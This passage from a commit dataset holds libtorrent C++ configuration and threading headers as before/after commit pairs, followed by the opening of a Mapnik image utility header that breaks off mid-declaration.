TORRENT_BROKEN_UNIONS 0\n#endif\n\n#if defined UNICODE && !defined BOOST_NO_STD_WSTRING\n#define TORRENT_USE_WSTRING 1\n#else\n#define TORRENT_USE_WSTRING 0\n#endif \/\/ UNICODE\n\n#ifndef TORRENT_HAS_FALLOCATE\n#define TORRENT_HAS_FALLOCATE 1\n#endif\n\n#ifndef TORRENT_EXPORT\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED_PREFIX\n#define TORRENT_DEPRECATED_PREFIX\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n#ifndef TORRENT_COMPLETE_TYPES_REQUIRED\n#define TORRENT_COMPLETE_TYPES_REQUIRED 0\n#endif\n\n#ifndef TORRENT_USE_RLIMIT\n#define TORRENT_USE_RLIMIT 1\n#endif\n\n#ifndef TORRENT_USE_IPV6\n#define TORRENT_USE_IPV6 1\n#endif\n\n#ifndef TORRENT_USE_MLOCK\n#define TORRENT_USE_MLOCK 1\n#endif\n\n#ifndef TORRENT_USE_WRITEV\n#define TORRENT_USE_WRITEV 1\n#endif\n\n#ifndef TORRENT_USE_READV\n#define TORRENT_USE_READV 1\n#endif\n\n#ifndef TORRENT_NO_FPU\n#define TORRENT_NO_FPU 0\n#endif\n\n#if !defined TORRENT_USE_IOSTREAM && !defined BOOST_NO_IOSTREAM\n#define TORRENT_USE_IOSTREAM 1\n#else\n#define TORRENT_USE_IOSTREAM 0\n#endif\n\n#ifndef TORRENT_USE_I2P\n#define TORRENT_USE_I2P 1\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n#if defined _MSC_VER && _MSC_VER <= 1200\n#define for if (false) {} else for\n#endif\n\n#if TORRENT_BROKEN_UNIONS\n#define TORRENT_UNION struct\n#else\n#define TORRENT_UNION union\n#endif\n\n\/\/ determine what timer implementation we can use\n\/\/ if one is already defined, don't pick one\n\/\/ autmatically. This lets the user control this\n\/\/ from the Jamfile\n#if !defined TORRENT_USE_ABSOLUTE_TIME \\\n\t&& !defined TORRENT_USE_QUERY_PERFORMANCE_TIMER \\\n\t&& !defined TORRENT_USE_CLOCK_GETTIME \\\n\t&& !defined TORRENT_USE_BOOST_DATE_TIME \\\n\t&& !defined TORRENT_USE_ECLOCK \\\n\t&& !defined TORRENT_USE_SYSTEM_TIME\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32) || defined TORRENT_MINGW\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#elif defined(TORRENT_AMIGA)\n#define TORRENT_USE_ECLOCK 1\n#elif defined(TORRENT_BEOS)\n#define TORRENT_USE_SYSTEM_TIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<commit_msg>DEBUG_BUFFERS doesn't work unless pool allocators are turned off<commit_after>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n\n#if defined TORRENT_DEBUG_BUFFERS && !defined TORRENT_DISABLE_POOL_ALLOCATORS\n#error TORRENT_DEBUG_BUFFERS only works if you also disable pool allocators\n#endif\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n\n\/\/ ======= GCC =========\n\n#if defined __GNUC__\n\n# if __GNUC__ >= 3\n#  define TORRENT_DEPRECATED __attribute__ ((deprecated))\n# endif\n\n\/\/ GCC pre 4.0 did not have support for the visibility attribute\n# if __GNUC__ >= 4\n#  if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n#   define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n#  endif\n# endif\n\n\n\/\/ ======= SUNPRO =========\n\n#elif defined __SUNPRO_CC\n\n# if __SUNPRO_CC >= 0x550\n#  if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n#   define TORRENT_EXPORT __global\n#  endif\n# endif\n\n\/\/ SunPRO seems to have an overly-strict\n\/\/ definition of POD types and doesn't\n\/\/ seem to allow boost::array in unions\n#define TORRENT_BROKEN_UNIONS 1\n\n\/\/ ======= MSVC =========\n\n#elif defined BOOST_MSVC\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllimport)\n# endif\n\n#define TORRENT_DEPRECATED_PREFIX __declspec(deprecated)\n\n#endif\n\n\n\/\/ ======= PLATFORMS =========\n\n\n\/\/ set up defines for target environments\n\/\/ ==== AMIGA ===\n#if defined __AMIGA__ || defined __amigaos__ || defined __AROS__\n#define TORRENT_AMIGA\n#define TORRENT_USE_MLOCK 0\n#define TORRENT_USE_WRITEV 0\n#define TORRENT_USE_READV 0\n#define TORRENT_USE_IPV6 0\n#define TORRENT_USE_BOOST_THREAD 0\n#define TORRENT_USE_IOSTREAM 0\n\/\/ set this to 1 to disable all floating point operations\n\/\/ (disables some float-dependent APIs)\n#define TORRENT_NO_FPU 1\n#define TORRENT_USE_I2P 0\n#define TORRENT_USE_ICONV 0\n\n\/\/ ==== Darwin\/BSD ===\n#elif (defined __APPLE__ && defined __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n\/\/ we don't need iconv on mac, because\n\/\/ the locale is always utf-8\n#if defined __APPLE__\n#define TORRENT_USE_ICONV 0\n#endif\n#define TORRENT_HAS_FALLOCATE 0\n\n\/\/ ==== LINUX ===\n#elif defined __linux__\n#define TORRENT_LINUX\n\n\/\/ ==== MINGW ===\n#elif defined __MINGW32__\n#define TORRENT_MINGW\n#define TORRENT_WINDOWS\n#define TORRENT_USE_ICONV 0\n#define TORRENT_USE_RLIMIT 0\n\n\/\/ ==== WINDOWS ===\n#elif defined WIN32\n#define TORRENT_WINDOWS\n\/\/ windows has its own functions to convert\n\/\/ apple uses utf-8 as its locale, so no conversion\n\/\/ is necessary\n#define TORRENT_USE_ICONV 0\n#define TORRENT_USE_RLIMIT 0\n#define TORRENT_HAS_FALLOCATE 0\n\n\/\/ ==== SOLARIS ===\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#define TORRENT_COMPLETE_TYPES_REQUIRED 1\n\n\/\/ ==== BEOS ===\n#elif defined __BEOS__ || defined __HAIKU__\n#define TORRENT_BEOS\n#include <storage\/StorageDefs.h> \/\/ B_PATH_NAME_LENGTH\n#define TORRENT_HAS_FALLOCATE 0\n#define TORRENT_USE_MLOCK 0\n#define TORRENT_USE_ICONV 0\n#if __GNUCC__ == 2\n# if defined(TORRENT_BUILDING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllimport)\n# endif\n#endif\n#else\n#warning unknown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n\/\/ on windows, NAME_MAX refers to Unicode characters\n\/\/ on linux it refers to bytes (utf-8 encoded)\n\/\/ TODO: Make this count Unicode characters instead of bytes on windows\n\n\/\/ windows\n#if defined FILENAME_MAX\n#define TORRENT_MAX_PATH FILENAME_MAX\n\n\/\/ beos\n#elif defined B_PATH_NAME_LENGTH\n#define TORRENT_MAX_PATH B_PATH_NAME_LENGTH\n\n\/\/ solaris\n#elif defined MAXPATH\n#define TORRENT_MAX_PATH MAXPATH\n\n\/\/ posix\n#elif defined NAME_MAX\n#define TORRENT_MAX_PATH NAME_MAX\n\n\/\/ none of the above\n#else\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define TORRENT_MAX_PATH 255\n#warning unknown platform, assuming the longest path is 255\n\n#endif\n\n#if defined TORRENT_WINDOWS && !defined TORRENT_MINGW\n\n\/\/ class X needs to have dll-interface to be used by clients of class Y\n#pragma warning(disable:4251)\n\/\/ '_vsnprintf': This function or variable may be unsafe\n#pragma warning(disable:4996)\n\n#include <stdarg.h>\n\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\tint ret = _vsnprintf(buf, len, fmt, lp);\n\tva_end(lp);\n\tif (ret < 0) { buf[len-1] = 0; ret = len-1; }\n\treturn ret;\n}\n\n#define strtoll _strtoi64\n#else\n#include <limits.h>\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) \\\n\t&& !defined (TORRENT_UPNP_LOGGING) && TORRENT_USE_IOSTREAM\n#define TORRENT_UPNP_LOGGING\n#endif\n\n\/\/ libiconv presence, not implemented yet\n#ifndef TORRENT_USE_ICONV\n#define TORRENT_USE_ICONV 1\n#endif\n\n#ifndef TORRENT_BROKEN_UNIONS\n#define TORRENT_BROKEN_UNIONS 0\n#endif\n\n#if defined UNICODE && !defined BOOST_NO_STD_WSTRING\n#define TORRENT_USE_WSTRING 1\n#else\n#define TORRENT_USE_WSTRING 0\n#endif \/\/ UNICODE\n\n#ifndef TORRENT_HAS_FALLOCATE\n#define TORRENT_HAS_FALLOCATE 1\n#endif\n\n#ifndef TORRENT_EXPORT\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED_PREFIX\n#define TORRENT_DEPRECATED_PREFIX\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n#ifndef TORRENT_COMPLETE_TYPES_REQUIRED\n#define TORRENT_COMPLETE_TYPES_REQUIRED 0\n#endif\n\n#ifndef TORRENT_USE_RLIMIT\n#define TORRENT_USE_RLIMIT 1\n#endif\n\n#ifndef TORRENT_USE_IPV6\n#define TORRENT_USE_IPV6 1\n#endif\n\n#ifndef TORRENT_USE_MLOCK\n#define TORRENT_USE_MLOCK 1\n#endif\n\n#ifndef TORRENT_USE_WRITEV\n#define TORRENT_USE_WRITEV 1\n#endif\n\n#ifndef TORRENT_USE_READV\n#define TORRENT_USE_READV 1\n#endif\n\n#ifndef TORRENT_NO_FPU\n#define TORRENT_NO_FPU 0\n#endif\n\n#if !defined TORRENT_USE_IOSTREAM && !defined BOOST_NO_IOSTREAM\n#define TORRENT_USE_IOSTREAM 1\n#else\n#define TORRENT_USE_IOSTREAM 0\n#endif\n\n#ifndef TORRENT_USE_I2P\n#define TORRENT_USE_I2P 1\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n#if defined _MSC_VER && _MSC_VER <= 1200\n#define for if (false) {} else for\n#endif\n\n#if TORRENT_BROKEN_UNIONS\n#define TORRENT_UNION struct\n#else\n#define TORRENT_UNION union\n#endif\n\n\/\/ determine what timer implementation we can use\n\/\/ if one is already defined, don't pick one\n\/\/ autmatically. This lets the user control this\n\/\/ from the Jamfile\n#if !defined TORRENT_USE_ABSOLUTE_TIME \\\n\t&& !defined TORRENT_USE_QUERY_PERFORMANCE_TIMER \\\n\t&& !defined TORRENT_USE_CLOCK_GETTIME \\\n\t&& !defined TORRENT_USE_BOOST_DATE_TIME \\\n\t&& !defined TORRENT_USE_ECLOCK \\\n\t&& !defined TORRENT_USE_SYSTEM_TIME\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32) || defined TORRENT_MINGW\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#elif defined(TORRENT_AMIGA)\n#define TORRENT_USE_ECLOCK 1\n#elif defined(TORRENT_BEOS)\n#define TORRENT_USE_SYSTEM_TIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_THREAD_HPP_INCLUDED\n#define TORRENT_THREAD_HPP_INCLUDED\n\n#include \"libtorrent\/config.hpp\"\n#include \"libtorrent\/assert.hpp\"\n\n#include <memory>\n\n#if defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\/\/ asio assumes that the windows error codes are defined already\n#include <winsock2.h>\n#endif\n\n#if defined TORRENT_BEOS\n#include <kernel\/OS.h>\n#endif\n\n#include <memory> \/\/ for auto_ptr required by asio\n\n#include <boost\/asio\/detail\/thread.hpp>\n#include <boost\/asio\/detail\/mutex.hpp>\n#include <boost\/asio\/detail\/event.hpp>\n\n#if TORRENT_USE_POSIX_SEMAPHORE\n#include <semaphore.h>      \/\/ sem_*\n#endif\n\n#if TORRENT_USE_MACH_SEMAPHORE\n#include <mach\/semaphore.h> \/\/ semaphore_signal, semaphore_wait\n#include <mach\/task.h>      \/\/ semaphore_create, semaphore_destroy\n#include <mach\/mach_init.h> \/\/ current_task\n#endif\n\nnamespace libtorrent\n{\n\ttypedef boost::asio::detail::thread thread;\n\ttypedef boost::asio::detail::mutex mutex;\n\ttypedef boost::asio::detail::event event;\n\n\tTORRENT_EXPORT void sleep(int milliseconds);\n\n\tstruct TORRENT_EXPORT condition\n\t{\n\t\tcondition();\n\t\t~condition();\n\t\tvoid wait(mutex::scoped_lock& l);\n\t\tvoid signal_all(mutex::scoped_lock& l);\n\tprivate:\n#ifdef BOOST_HAS_PTHREADS\n\t\tpthread_cond_t m_cond;\n#elif defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\t\tHANDLE m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#elif defined TORRENT_BEOS\n\t\tsem_id m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#else\n#error not implemented\n#endif\n\t};\n\n\t\/\/ #error these semaphores needs to release all threads that are waiting for the semaphore when signalled\n#if TORRENT_USE_POSIX_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { sem_init(&m_sem, 0, 0); }\n\t\t~semaphore() { sem_destroy(&m_sem); }\n\t\tvoid signal()\n\t\t{\n\t\t\tint ret = sem_post(&m_sem);\n\t\t\tTORRENT_ASSERT(ret == 0);\n\t\t}\n\t\tvoid signal_all()\n\t\t{\n\t\t\tint waiters = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\t\/\/ when anyone is waiting, waiters will be\n\t\t\t\t\/\/ 0 or negative. 0 means one might be waiting\n\t\t\t\t\/\/ -1 means 2 are waiting. Keep posting as long\n\t\t\t\t\/\/ we see negative values or 0\n\t\t\t\tsem_getvalue(&m_sem, &waiters);\n\t\t\t\tsem_post(&m_sem);\n\t\t\t} while (waiters < 0);\n\t\t}\n\t\tvoid wait()\n\t\t{\n\t\t\tint ret = sem_wait(&m_sem);\n\t\t\tTORRENT_ASSERT(ret == 0);\n\t\t}\n\t\tvoid timed_wait(int ms)\n\t\t{\n#if TORRENT_HAS_SEM_RELTIMEDWAIT\n\t\t\ttimespec sp = { ms \/ 1000, (ms % 1000) * 1000000 };\n\t\t\tint ret = sem_reltimedwait_np(&m_sem, &sp);\n#else\n\t\t\ttimespec sp;\n\t\t\tint ret = clock_gettime(CLOCK_REALTIME, &sp);\n\t\t\tTORRENT_ASSERT(ret == 0);\n\t\t\tsp.tv_sec += ms \/ 1000;\n\t\t\tms -= ms \/ 1000;\n\t\t\tboost::uint64_t carry = sp.tv_nsec;\n\t\t\tcarry += ms * 1000000;\n\t\t\tsp.tv_nsec = carry % 1000000000;\n\t\t\tsp.tv_sec += carry \/ 1000000000;\n\n\t\t\tret = sem_timedwait(&m_sem, &sp);\n#endif\n\t\t\tTORRENT_ASSERT(ret == 0 || errno == ETIMEDOUT);\n\t\t}\n\t\tsem_t m_sem;\n\t};\n#elif TORRENT_USE_MACH_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { semaphore_create(current_task(), &m_sem, SYNC_POLICY_FIFO, 0); }\n\t\t~semaphore() { semaphore_destroy(current_task(), m_sem); }\n\t\tvoid signal() { semaphore_signal(m_sem); }\n\t\tvoid signal_all() { semaphore_signal_all(m_sem); }\n\t\tvoid wait() { semaphore_wait(m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\tmach_timespec_t sp = { ms \/ 1000, (ms % 1000) * 100000};\n\t\t\tsemaphore_timedwait(m_sem, sp);\n\t\t}\n\t\tsemaphore_t m_sem;\n\t};\n#elif defined TORRENT_WINDOWS\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { m_sem = CreateSemaphore(0, 0, 100, 0); }\n\t\t~semaphore() { CloseHandle(m_sem); }\n\t\tvoid signal() { ReleaseSemaphore(m_sem, 1, 0); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tLONG prev = 0;\n\t\t\tdo { ReleaseSemaphore(m_sem, 1, &prev); } while (prev > 1);\n\t\t}\n\t\tvoid wait() { WaitForSingleObject(m_sem, INFINITE); }\n\t\tvoid timed_wait(int ms) { WaitForSingleObject(m_sem, ms); }\n\t\tHANDLE m_sem;\n\t};\n#endif\n}\n\n#endif\n\n<commit_msg>fix compilation warning<commit_after>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_THREAD_HPP_INCLUDED\n#define TORRENT_THREAD_HPP_INCLUDED\n\n#include \"libtorrent\/config.hpp\"\n#include \"libtorrent\/assert.hpp\"\n\n#include <memory>\n\n#if defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\/\/ asio assumes that the windows error codes are defined already\n#include <winsock2.h>\n#endif\n\n#if defined TORRENT_BEOS\n#include <kernel\/OS.h>\n#endif\n\n#include <memory> \/\/ for auto_ptr required by asio\n\n#include <boost\/asio\/detail\/thread.hpp>\n#include <boost\/asio\/detail\/mutex.hpp>\n#include <boost\/asio\/detail\/event.hpp>\n\n#if TORRENT_USE_POSIX_SEMAPHORE\n#include <semaphore.h>      \/\/ sem_*\n#endif\n\n#if TORRENT_USE_MACH_SEMAPHORE\n#include <mach\/semaphore.h> \/\/ semaphore_signal, semaphore_wait\n#include <mach\/task.h>      \/\/ semaphore_create, semaphore_destroy\n#include <mach\/mach_init.h> \/\/ current_task\n#endif\n\nnamespace libtorrent\n{\n\ttypedef boost::asio::detail::thread thread;\n\ttypedef boost::asio::detail::mutex mutex;\n\ttypedef boost::asio::detail::event event;\n\n\tTORRENT_EXPORT void sleep(int milliseconds);\n\n\tstruct TORRENT_EXPORT condition\n\t{\n\t\tcondition();\n\t\t~condition();\n\t\tvoid wait(mutex::scoped_lock& l);\n\t\tvoid signal_all(mutex::scoped_lock& l);\n\tprivate:\n#ifdef BOOST_HAS_PTHREADS\n\t\tpthread_cond_t m_cond;\n#elif defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\t\tHANDLE m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#elif defined TORRENT_BEOS\n\t\tsem_id m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#else\n#error not implemented\n#endif\n\t};\n\n\t\/\/ #error these semaphores needs to release all threads that are waiting for the semaphore when signalled\n#if TORRENT_USE_POSIX_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { sem_init(&m_sem, 0, 0); }\n\t\t~semaphore() { sem_destroy(&m_sem); }\n\t\tvoid signal()\n\t\t{\n\t\t\tsem_post(&m_sem);\n\t\t}\n\t\tvoid signal_all()\n\t\t{\n\t\t\tint waiters = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\t\/\/ when anyone is waiting, waiters will be\n\t\t\t\t\/\/ 0 or negative. 0 means one might be waiting\n\t\t\t\t\/\/ -1 means 2 are waiting. Keep posting as long\n\t\t\t\t\/\/ we see negative values or 0\n\t\t\t\tsem_getvalue(&m_sem, &waiters);\n\t\t\t\tsem_post(&m_sem);\n\t\t\t} while (waiters < 0);\n\t\t}\n\t\tvoid wait()\n\t\t{\n\t\t\tsem_wait(&m_sem);\n\t\t}\n\t\tvoid timed_wait(int ms)\n\t\t{\n#if TORRENT_HAS_SEM_RELTIMEDWAIT\n\t\t\ttimespec sp = { ms \/ 1000, (ms % 1000) * 1000000 };\n\t\t\tint ret = sem_reltimedwait_np(&m_sem, &sp);\n#else\n\t\t\ttimespec sp;\n\t\t\tint ret = clock_gettime(CLOCK_REALTIME, &sp);\n\t\t\tTORRENT_ASSERT(ret == 0);\n\t\t\tsp.tv_sec += ms \/ 1000;\n\t\t\tms -= ms \/ 1000;\n\t\t\tboost::uint64_t carry = sp.tv_nsec;\n\t\t\tcarry += ms * 1000000;\n\t\t\tsp.tv_nsec = carry % 1000000000;\n\t\t\tsp.tv_sec += carry \/ 1000000000;\n\n\t\t\tret = sem_timedwait(&m_sem, &sp);\n#endif\n\t\t\tTORRENT_ASSERT(ret == 0 || errno == ETIMEDOUT);\n\t\t}\n\t\tsem_t m_sem;\n\t};\n#elif TORRENT_USE_MACH_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { semaphore_create(current_task(), &m_sem, SYNC_POLICY_FIFO, 0); }\n\t\t~semaphore() { semaphore_destroy(current_task(), m_sem); }\n\t\tvoid signal() { semaphore_signal(m_sem); }\n\t\tvoid signal_all() { semaphore_signal_all(m_sem); }\n\t\tvoid wait() { semaphore_wait(m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\tmach_timespec_t sp = { ms \/ 1000, (ms % 1000) * 100000};\n\t\t\tsemaphore_timedwait(m_sem, sp);\n\t\t}\n\t\tsemaphore_t m_sem;\n\t};\n#elif defined TORRENT_WINDOWS\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { m_sem = CreateSemaphore(0, 0, 100, 0); }\n\t\t~semaphore() { CloseHandle(m_sem); }\n\t\tvoid signal() { ReleaseSemaphore(m_sem, 1, 0); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tLONG prev = 0;\n\t\t\tdo { ReleaseSemaphore(m_sem, 1, &prev); } while (prev > 1);\n\t\t}\n\t\tvoid wait() { WaitForSingleObject(m_sem, INFINITE); }\n\t\tvoid timed_wait(int ms) { WaitForSingleObject(m_sem, ms); }\n\t\tHANDLE m_sem;\n\t};\n#endif\n}\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id: image_util.hpp 39 2005-04-10 20:39:53Z pavlenko $\n\n#ifndef IMAGE_UTIL_HPP\n#define IMAGE_UTIL_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/graphics.hpp>\n\n\/\/ boost\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/optional.hpp>\n\n\/\/ stl\n#include <string>\n\n\n\nnamespace mapnik {\n\nclass Map;    \nclass ImageWriterException : public std::exception\n{\nprivate:\n    std::string message_;\npublic:\n    ImageWriterException(const std::string& message) \n        : message_(message) {}\n\n    ~ImageWriterException() throw() {}\n\n    virtual const char* what() const throw()\n    {\n        return message_.c_str();\n    }\n};\n\nMAPNIK_DECL void save_to_cairo_file(mapnik::Map const& map,\n                                    std::string const& filename,\n                                    std::string const& type);\n\ntemplate <typename T>\nMAPNIK_DECL void 